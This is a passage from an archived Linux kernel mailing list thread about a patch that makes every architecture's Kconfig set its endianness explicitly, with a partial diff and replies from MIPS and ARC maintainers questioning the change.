index 87b7c75..7a7fe25 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -23,6 +23,7 @@ config M68K
 	select MODULES_USE_ELF_RELA
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
+	select CPU_BIG_ENDIAN
 
 config RWSEM_GENERIC_SPINLOCK
 	bool
diff --git a/arch/metag/Kconfig b/arch/metag/Kconfig
index 0b389a8..e57c6a0 100644
--- a/arch/metag/Kconfig
+++ b/arch/metag/Kconfig
@@ -29,6 +29,7 @@ config METAG
 	select OF
 	select OF_EARLY_FLATTREE
 	select SPARSE_IRQ
+	select CPU_LITTLE_ENDIAN
 
 config STACKTRACE_SUPPORT
 	def_bool y
diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 40e1c1d..d80ae78 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -7,6 +7,8 @@ config MICROBLAZE
 	select CLKSRC_OF
 	select CLONE_BACKWARDS3
 	select COMMON_CLK
+	select CPU_BIG_ENDIAN if __BUILDING_TIME_BIG_ENDIAN__
+	select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
 	select GENERIC_ATOMIC64
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_CPU_DEVICES
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 900c7e5..671d822 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -52,6 +52,7 @@ config MIPS
 	select HAVE_CC_STACKPROTECTOR
 	select CPU_PM if CPU_IDLE
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
+	select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
 
 menu "Machine selection"
 
diff --git a/arch/mn10300/Kconfig b/arch/mn10300/Kconfig
index a648de1..60fb249 100644
--- a/arch/mn10300/Kconfig
+++ b/arch/mn10300/Kconfig
@@ -13,6 +13,7 @@ config MN10300
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
 	select HAVE_DEBUG_STACKOVERFLOW
+	select CPU_LITTLE_ENDIAN
 
 config AM33_2
 	def_bool n
diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index 88e8336..4757b7d 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -23,6 +23,7 @@ config OPENRISC
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
 	select OR1K_PIC
+	select CPU_BIG_ENDIAN
 
 config MMU
 	def_bool y
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 6e75e20..dc82137 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -29,6 +29,7 @@ config PARISC
 	select TTY # Needed for pdc_cons.c
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_ARCH_AUDITSYSCALL
+	select CPU_BIG_ENDIAN
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 4bc7b62..644c6d4 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -147,6 +147,7 @@ config PPC
 	select ARCH_USE_CMPXCHG_LOCKREF if PPC64
 	select HAVE_ARCH_AUDITSYSCALL
 	select ARCH_SUPPORTS_ATOMIC_RMW
+	select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
 
 config GENERIC_CSUM
 	def_bool CPU_LITTLE_ENDIAN
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 05c78bb..8691c6f 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -62,6 +62,7 @@ config S390
 	def_bool y
 	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	select ARCH_HAS_SG_CHAIN
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select ARCH_INLINE_READ_LOCK
 	select ARCH_INLINE_READ_LOCK_BH
@@ -97,6 +98,7 @@ config S390
 	select ARCH_WANT_IPC_PARSE_VERSION
 	select BUILDTIME_EXTABLE_SORT
 	select CLONE_BACKWARDS2
+	select CPU_BIG_ENDIAN
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_CPU_DEVICES if !SMP
 	select GENERIC_FIND_FIRST_BIT
@@ -145,7 +147,6 @@ config S390
 	select TTY
 	select VIRT_CPU_ACCOUNTING
 	select VIRT_TO_BUS
-	select ARCH_HAS_SG_CHAIN
 
 config SCHED_OMIT_FRAME_POINTER
 	def_bool y
diff --git a/arch/score/Kconfig b/arch/score/Kconfig
index 4ac8cae..713b290 100644
--- a/arch/score/Kconfig
+++ b/arch/score/Kconfig
@@ -1,19 +1,20 @@
 menu "Machine selection"
 
 config SCORE
-       def_bool y
-       select GENERIC_IRQ_SHOW
-       select GENERIC_IOMAP
-       select GENERIC_ATOMIC64
-       select HAVE_MEMBLOCK
-       select HAVE_MEMBLOCK_NODE_MAP
-       select ARCH_DISCARD_MEMBLOCK
-       select GENERIC_CPU_DEVICES
-       select GENERIC_CLOCKEVENTS
-       select HAVE_MOD_ARCH_SPECIFIC
+	def_bool y
+	select GENERIC_IRQ_SHOW
+	select GENERIC_IOMAP
+	select GENERIC_ATOMIC64
+	select HAVE_MEMBLOCK
+	select HAVE_MEMBLOCK_NODE_MAP
+	select ARCH_DISCARD_MEMBLOCK
+	select GENERIC_CPU_DEVICES
+	select GENERIC_CLOCKEVENTS
+	select HAVE_MOD_ARCH_SPECIFIC
 	select VIRT_TO_BUS
 	select MODULES_USE_ELF_REL
 	select CLONE_BACKWARDS
+	select CPU_LITTLE_ENDIAN
 
 choice
 	prompt "System type"
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index a537816..9de09e6 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -43,6 +43,7 @@ config SPARC
 	select ODD_RT_SIGACTION
 	select OLD_SIGSUSPEND
 	select ARCH_HAS_SG_CHAIN
+	select CPU_BIG_ENDIAN
 
 config SPARC32
 	def_bool !64BIT
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 7fcd492..e042479 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -27,6 +27,8 @@ config TILE
 	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select HAVE_DEBUG_STACKOVERFLOW
 	select ARCH_WANT_FRAME_POINTERS
+	select CPU_BIG_ENDIAN if __BUILDING_TIME_BIG_ENDIAN__
+	select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
 
 # FIXME: investigate whether we need/want these options.
 #	select HAVE_IOREMAP_PROT
diff --git a/arch/um/Kconfig.common b/arch/um/Kconfig.common
index 6915d28..f696ec2 100644
--- a/arch/um/Kconfig.common
+++ b/arch/um/Kconfig.common
@@ -8,6 +8,8 @@ config UML
 	select GENERIC_IO
 	select GENERIC_CLOCKEVENTS
 	select TTY # Needed for line.c
+	select CPU_BIG_ENDIAN if __BUILDING_TIME_BIG_ENDIAN__
+	select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
 
 config MMU
 	bool
diff --git a/arch/unicore32/Kconfig b/arch/unicore32/Kconfig
index 928237a..02be244 100644
--- a/arch/unicore32/Kconfig
+++ b/arch/unicore32/Kconfig
@@ -18,6 +18,7 @@ config UNICORE32
 	select ARCH_WANT_FRAME_POINTERS
 	select GENERIC_IOMAP
 	select MODULES_USE_ELF_REL
+	select CPU_LITTLE_ENDIAN
 	help
 	  UniCore-32 is 32-bit Instruction Set Architecture,
 	  including a series of low-power-consumption RISC chip
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 1164b7d..9b83e33 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -136,6 +136,7 @@ config X86
 	select HAVE_ACPI_APEI if ACPI
 	select HAVE_ACPI_APEI_NMI if ACPI
 	select ACPI_LEGACY_TABLES_LOOKUP if ACPI
+	select CPU_LITTLE_ENDIAN
 
 config INSTRUCTION_DECODER
 	def_bool y
diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index 3a617af..a3e8f7e 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -22,6 +22,8 @@ config XTENSA
 	select HAVE_IRQ_TIME_ACCOUNTING
 	select HAVE_PERF_EVENTS
 	select COMMON_CLK
+	select CPU_BIG_ENDIAN if __BUILDING_TIME_BIG_ENDIAN__
+	select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
 	help
 	  Xtensa processors are 32-bit RISC machines designed by Tensilica
 	  primarily for embedded systems.  These processors are both
diff --git a/init/Kconfig b/init/Kconfig
index 9565224..6dd3b20 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -23,6 +23,12 @@ config CONSTRUCTORS
 config IRQ_WORK
 	bool
 
+config CPU_LITTLE_ENDIAN
+	bool
+
+config CPU_BIG_ENDIAN
+	bool
+
 config BUILDTIME_EXTABLE_SORT
 	bool
 
-- 
1.7.11.7



From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set endian
 explicitly
Date: Thu, 14 Aug 2014 20:04:18 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <20140814180418.GA20777@linux-mips.org>
References: <53ECE9DD.80004@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1408039573 10905 80.91.229.3 (14 Aug 2014 18:06:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Aug 2014 18:06:13 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, akpm@linux-foundation.org,
        rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, Geert Uytterhoeven <geert@linux-m68k.org>,
        Jean Delvare <jdelvare@suse.de>, linux@arm.linux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        msalter@redhat.com, a-jacquiot@ti.com, starvik@axis.com,
        jesper.nilsson@axis.com, dhowells@redhat.com, rkuo@codeaurora.org,
        tony.luck@intel.com, fenghua.yu@intel.com, takata@linux-m32r.org,
        james.hogan@imgtec.com, Michal Simek <monstr@monstr.eu>,
        yasutake.koichi@jp.panasonic.com, jonas@southpole.se,
        jejb@parisc-linux.org, deller@gmx.de,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        paulus@samba.org, mpe@ellerman.id.au,
        Mart
To: Chen Gang <gang.chen.5i5j@gmail.com>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Aug 14 20:05:57 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XHzPN-0003pr-QV
	for sgi-linux-mips@gmane.org; Thu, 14 Aug 2014 20:05:53 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:53046 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6901561AbaHNSFvJT658 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 14 Aug 2014 20:05:51 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 14 Aug 2014 20:05:37 +0200 (CEST)
Original-Received: from localhost.localdomain ([127.0.0.1]:53043 "EHLO linux-mips.org"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S6901562AbaHNSFehjNQJ (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 14 Aug 2014 20:05:34 +0200
Original-Received: from scotty.linux-mips.net (localhost.localdomain [127.0.0.1])
        by scotty.linux-mips.net (8.14.8/8.14.8) with ESMTP id s7EI4qpx021152;
        Thu, 14 Aug 2014 20:04:52 +0200
Original-Received: (from ralf@localhost)
        by scotty.linux-mips.net (8.14.8/8.14.8/Submit) id s7EI4I1H021151;
        Thu, 14 Aug 2014 20:04:18 +0200
Content-Disposition: inline
In-Reply-To: <53ECE9DD.80004@gmail.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-archive-position: 42106
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43252 gmane.linux.ports.alpha:2345 gmane.linux.kernel:1768270 gmane.linux.ports.arm.kernel:348622 gmane.linux.ports.hexagon:746 gmane.linux.ports.ia64:24118 gmane.linux.ports.m68k:6074 gmane.linux.kernel.metag:242 gmane.linux.ports.openrisc:512 gmane.linux.ports.parisc:5972 gmane.linux.ports.ppc64.devel:104334 gmane.linux.ports.sparc:19436 gmane.linux.uml.devel:14556 gmane.linux.uml.user:14700
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43252>

On Fri, Aug 15, 2014 at 12:54:53AM +0800, Chen Gang wrote:

> Normal architectures:
> 
>  - Big endian: avr32, frv, m68k, openrisc, parisc, s390, sparc
> 
>  - Little endian: alpha, blackfin, cris, hexagon, ia64, metag, mn10300,
>                   score, unicore32, x86
> 
>  - Choose in config time: arc, arm, arm64, c6x, m32r, mips, powerpc, sh

Nak for MIPS.  On MIPS Kconfig already always sets one of CPU_BIG_ENDIAN
and CPU_LITTLE_ENDIAN depending on platforms and where both endianess are
supported by a platform, user choice:

config FOO
	bool "foo"
	select SYS_SUPPORTS_LITTLE_ENDIAN

config FOO
	bool "foo"
	select SYS_SUPPORTS_BIG_ENDIAN
	select SYS_SUPPORTS_LITTLE_ENDIAN
[...]
choice
        prompt "Endianess selection"
        help
          Some MIPS machines can be configured for either little or big endian
          byte order. These modes require different kernels and a different
          Linux distribution.  In general there is one preferred byteorder for a
          particular system but some systems are just as commonly used in the
          one or the other endianness.

config CPU_BIG_ENDIAN
        bool "Big endian"
        depends on SYS_SUPPORTS_BIG_ENDIAN

config CPU_LITTLE_ENDIAN
        bool "Little endian"
        depends on SYS_SUPPORTS_LITTLE_ENDIAN
        help

endchoice

So I think you can just drop the MIPS segment from your patch.

  Ralf



From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set endian
 explicitly
Date: Thu, 14 Aug 2014 18:21:43 +0000
Lines: 86
Approved: news@gmane.org
Message-ID: <C2D7FE5348E1B147BCA15975FBA230753C4BA528@IN01WEMBXA.internal.synopsys.com>
References: <53ECE9DD.80004@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1408040569 23062 80.91.229.3 (14 Aug 2014 18:22:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Aug 2014 18:22:49 +0000 (UTC)
Cc: "linux390@de.ibm.com" <linux390@de.ibm.com>,
        "x86@kernel.org" <x86@kernel.org>,
        "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "linux-arm-kernel@lists.infradead.org" 
        <linux-arm-kernel@lists.infradead.org>,
        "adi-buildroot-devel@lists.sourceforge.net" 
        <adi-buildroot-devel@lists.sourceforge.net>,
        "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
        "linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
        "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
        "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
        "linux-m32r@ml.linux-m32r.org" <linux-m32r@ml.linux-m32r.org>,
        "linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
        "linux-m68k@lists.linux-m68k.org"
To: Chen Gang <gang.chen.5i5j@gmail.com>,
        Arnd Bergmann <arnd@arndb.de>,
        "akpm@linux-foundation.org" <akpm@linux-foundation.org>,
        "rth@twiddle.net" <rth@twiddle.net>,
        "ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
        "mattst88@gmail.com" <mattst88@gmail.com>,
        "Vineet.Gupta1@synopsys.com" <Vineet.Gupta1@synopsys.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Jean Delvare <jdelvare@suse.de>,
        "linux@arm.linux.org.uk" <linux@arm.linux.org.uk>,
        "catalin.marinas@arm.com" <catalin.marinas@arm.com>,
        "will.deacon@arm.com" <will.deacon@arm.com>,
        "hskinnemoen@gmail.com" <hskinnemoen@gmail.com>,
        "egtvedt@samfundet.no" <egtvedt@samfundet.no>,
        "realmz6@gmail.com" <realmz6@gmail.com>,
        "msalter@redhat.com" <msalter@redhat.com>,
        "a-jacquiot@ti.com" <a-jacquiot@ti.com>,
Original-X-From: linux-mips-bounce@linux-mips.org Thu Aug 14 20:22:37 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XHzfV-00037N-HC
	for sgi-linux-mips@gmane.org; Thu, 14 Aug 2014 20:22:33 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:53102 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6901553AbaHNSWaz2gMv (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 14 Aug 2014 20:22:30 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 14 Aug 2014 20:22:17 +0200 (CEST)
Original-Received: from smtprelay4.synopsys.com ([198.182.44.111]:43947 "EHLO
        smtprelay.synopsys.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6901552AbaHNSWOHZNkD convert rfc822-to-8bit
        (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 14 Aug 2014 20:22:14 +0200
Original-Received: from us01secmta2.synopsys.com (us01secmta2.synopsys.com [10.9.203.102])
        by smtprelay.synopsys.com (Postfix) with ESMTP id 8F24E24E1062;
        Thu, 14 Aug 2014 11:21:59 -0700 (PDT)
Original-Received: from us01secmta2.internal.synopsys.com (us01secmta2.internal.synopsys.com [127.0.0.1])
        by us01secmta2.internal.synopsys.com (Service) with ESMTP id 50236A4102;
        Thu, 14 Aug 2014 11:21:59 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (mailhost1.synopsys.com [10.12.238.239])
        by us01secmta2.internal.synopsys.com (Service) with ESMTP id 76D3EA4114;
        Thu, 14 Aug 2014 11:21:58 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
        by mailhost.synopsys.com (Postfix) with ESMTP id 28DC041D;
        Thu, 14 Aug 2014 11:21:58 -0700 (PDT)
Original-Received: from US01WEHTC2.internal.synopsys.com (us01wehtc2.internal.synopsys.com [10.12.239.237])
        by mailhost.synopsys.com (Postfix) with ESMTP id EB2853E1;
        Thu, 14 Aug 2014 11:21:48 -0700 (PDT)
Original-Received: from IN01WEHTCA.internal.synopsys.com (10.144.199.104) by
 US01WEHTC2.internal.synopsys.com (10.12.239.237) with Microsoft SMTP Server
 (TLS) id 14.3.158.1; Thu, 14 Aug 2014 11:21:48 -0700
Original-Received: from IN01WEMBXA.internal.synopsys.com ([fe80::ed6f:22d3:d35:4833])
 by IN01WEHTCA.internal.synopsys.com ([::1]) with mapi id 14.03.0158.001; Thu,
 14 Aug 2014 23:51:45 +0530
Thread-Topic: [PATCH v3] arch: Kconfig: Let all architectures set endian
 explicitly
Thread-Index: AQHPt+CPQyNRLz1f9kGDGhxSg+sSdQ==
Accept-Language: en-US, en-IN
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.9.21.32]
X-archive-position: 42107
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: Vineet.Gupta1@synopsys.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43253 gmane.linux.ports.alpha:2346 gmane.linux.kernel:1768278 gmane.linux.ports.arm.kernel:348624 gmane.linux.ports.hexagon:747 gmane.linux.ports.ia64:24119 gmane.linux.kernel.metag:243 gmane.linux.ports.openrisc:513 gmane.linux.ports.parisc:5973 gmane.linux.ports.ppc64.devel:104335 gmane.linux.ports.sparc:19437 gmane.linux.uml.devel:14557 gmane.linux.uml.user:14701
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43253>

On Thursday 14 August 2014 09:55 AM, Chen Gang wrote:
> Normal architectures:
>
>  - Big endian: avr32, frv, m68k, openrisc, parisc, s390, sparc
>
>  - Little endian: alpha, blackfin, cris, hexagon, ia64, metag, mn10300,
>                   score, unicore32, x86
>
>  - Choose in config time: arc, arm, arm64, c6x, m32r, mips, powerpc, sh
>
> Special architectures:
>
>  - Deside by compiler: microblaze, tile, xtensa.
>
>  - Deside by building host: um
>
>  - Next, need improve Kbuild to probe endian to deside whether need mark
>    __BUILDING_TIME_BIG_ENDIAN__ before real config.
>
> Another improvements:
>
>  - score: use '\t' instead of ' '.
>
>  - s390: sort the select value in alpha order.
>
> Signed-off-by: Chen Gang <gang.chen.5i5j@gmail.com>
> ---
>  arch/alpha/Kconfig      |  1 +
>  arch/arc/Kconfig        |  1 +
>  arch/arm/Kconfig        |  1 +
>  arch/arm64/Kconfig      |  1 +
>  arch/avr32/Kconfig      |  1 +
>  arch/blackfin/Kconfig   |  1 +
>  arch/c6x/Kconfig        |  1 +
>  arch/cris/Kconfig       |  1 +
>  arch/frv/Kconfig        |  1 +
>  arch/hexagon/Kconfig    |  1 +
>  arch/ia64/Kconfig       |  1 +
>  arch/m32r/Kconfig       |  1 +
>  arch/m68k/Kconfig       |  1 +
>  arch/metag/Kconfig      |  1 +
>  arch/microblaze/Kconfig |  2 ++
>  arch/mips/Kconfig       |  1 +
>  arch/mn10300/Kconfig    |  1 +
>  arch/openrisc/Kconfig   |  1 +
>  arch/parisc/Kconfig     |  1 +
>  arch/powerpc/Kconfig    |  1 +
>  arch/s390/Kconfig       |  3 ++-
>  arch/score/Kconfig      | 21 +++++++++++----------
>  arch/sparc/Kconfig      |  1 +
>  arch/tile/Kconfig       |  2 ++
>  arch/um/Kconfig.common  |  2 ++
>  arch/unicore32/Kconfig  |  1 +
>  arch/x86/Kconfig        |  1 +
>  arch/xtensa/Kconfig     |  2 ++
>  init/Kconfig            |  6 ++++++
>  29 files changed, 49 insertions(+), 11 deletions(-)
>
> diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
> index b7ff9a3..1cb7426 100644
> --- a/arch/alpha/Kconfig
> +++ b/arch/alpha/Kconfig
> @@ -27,6 +27,7 @@ config ALPHA
>  	select MODULES_USE_ELF_RELA
>  	select ODD_RT_SIGACTION
>  	select OLD_SIGSUSPEND
> +	select CPU_LITTLE_ENDIAN
>  	help
>  	  The Alpha is a 64-bit general-purpose processor designed and
>  	  marketed by the Digital Equipment Corporation of blessed memory,
> diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
> index 9596b0a..e939abd 100644
> --- a/arch/arc/Kconfig
> +++ b/arch/arc/Kconfig
> @@ -35,6 +35,7 @@ config ARC
>  	select OF_EARLY_FLATTREE
>  	select PERF_USE_VMALLOC
>  	select HAVE_DEBUG_STACKOVERFLOW
> +	select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN

It is not clear what exactly are you trying to fix. What doesn't work w/o this
patch !

-Vineet



From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lennox Wu <lennox.wu@gmail.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.alpha,gmane.linux.uml.user,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.uml.devel
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set endian
 explicitly
Date: Fri, 15 Aug 2014 02:27:12 +0800
Lines: 222
Approved: news@gmane.org
Message-ID: <CAF0htA6qfhyVXEuLbruiz+dfxnieF-309NdxSDhoEYHM=aBhQA@mail.gmail.com>
References: <53ECE9DD.80004@gmail.com>
 <C2D7FE5348E1B147BCA15975FBA230753C4BA528@IN01WEMBXA.internal.synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============1691057985918365743=="
X-Trace: ger.gmane.org 1408054262 1686 80.91.229.3 (14 Aug 2014 22:11:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Aug 2014 22:11:02 +0000 (UTC)
Cc: "linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
 "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
 "a-jacquiot@ti.com" <a-jacquiot@ti.com>,
 "catalin.marinas@arm.com" <catalin.marinas@arm.com>,
 "linux@lists.openrisc.net" <linux@lists.openrisc.net>,
 "will.deacon@arm.com" <will.deacon@arm.com>,
 "dhowells@redhat.com" <dhowells@redhat.com>,
 "jcmvbkbc@gmail.com" <jcmvbkbc@gmail.com>,
 "paulus@samba.org" <paulus@samba.org>, "hpa@zytor.com" <hpa@zytor.com>,
 "sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
 "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
 "gxt@mprc.pku.edu.cn" <gxt@mprc.pku.edu.cn>, Jean Delvare <jdelvare@suse.de>,
 "egtvedt@samfundet.no" <egtvedt@samfundet.no>,
 "jonas@southpole.se" <jonas@southpole.se>, Liqin Chen <liqin.linux@gmail.com>,
 "jesper.nilsson@axis.com" <jesper.nilsson@axis.com>,
 "linux-am33-list@red
To: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri Aug 15 00:10:44 2014
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([103.22.144.68])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1XI3EG-0007Dz-R9
